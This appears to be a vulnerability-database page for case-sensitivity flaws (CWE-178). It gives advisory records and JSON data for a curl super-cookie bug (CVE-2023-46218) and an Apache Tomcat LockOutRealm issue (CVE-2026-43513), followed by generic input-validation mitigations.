}

GHSA-59MM-6RR4-J9P2

Vulnerability from github – Published: 2023-12-07 03:30 – Updated: 2026-05-12 12:31
VLAI
Details

This flaw allows a malicious HTTP server to set "super cookies" in curl that are then passed back to more origins than what is otherwise allowed or possible. This allows a site to set cookies that then would get sent to different and unrelated sites and domains.

It could do this by exploiting a mixed case flaw in curl's function that verifies a given cookie domain against the Public Suffix List (PSL). For example a cookie could be set with domain=co.UK when the URL used a lower case hostname curl.co.uk, even though co.uk is listed as a PSL domain.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-07T01:15:07Z",
    "severity": "MODERATE"
  },
  "details": "This flaw allows a malicious HTTP server to set \"super cookies\" in curl that\nare then passed back to more origins than what is otherwise allowed or\npossible. This allows a site to set cookies that then would get sent to\ndifferent and unrelated sites and domains.\n\nIt could do this by exploiting a mixed case flaw in curl\u0027s function that\nverifies a given cookie domain against the Public Suffix List (PSL). For\nexample a cookie could be set with `domain=co.UK` when the URL used a lower\ncase hostname `curl.co.uk`, even though `co.uk` is listed as a PSL domain.",
  "id": "GHSA-59mm-6rr4-j9p2",
  "modified": "2026-05-12T12:31:33Z",
  "published": "2023-12-07T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46218"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2212193"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-093430.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-202008.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-331112.html"
    },
    {
      "type": "WEB",
      "url": "https://curl.se/docs/CVE-2023-46218.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/12/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3ZX3VW67N4ACRAPMV2QS2LVYGD7H2MVE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UOGXU25FMMT2X6UUITQ7EZZYMJ42YWWD"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240125-0007"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5MP6-JRQ3-R938

Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-18 20:31
VLAI
Summary
Apache Tomcat: LockOutRealm treats user names as case-sensitive
Details

Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Older unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.118"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0-M1"
            },
            {
              "fixed": "10.1.55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-M1"
            },
            {
              "fixed": "11.0.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.118"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0-M1"
            },
            {
              "fixed": "10.1.55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-M1"
            },
            {
              "fixed": "11.0.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.118"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0-M1"
            },
            {
              "fixed": "10.1.55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-M1"
            },
            {
              "fixed": "11.0.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T20:31:54Z",
    "nvd_published_at": "2026-05-12T16:16:18Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\nOlder unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.",
  "id": "GHSA-5mp6-jrq3-r938",
  "modified": "2026-05-18T20:31:54Z",
  "published": "2026-05-12T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43513"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/4a90d3fa93988c447cd5bb7482f76ff70d7f15c2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/6dd75beb55bd42fc5f78e929596b25018cd17717"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/83f3e51df7b87f5f6e626951c575ded1a512e8ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/tomcat"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/ytjcgldshj73lcnd1sh95od5hrghwogp"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-10.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-11.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-9.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/12/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Tomcat: LockOutRealm treats user names as case-sensitive"
}

Mitigation MIT-44
Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

No CAPEC attack patterns related to this CWE.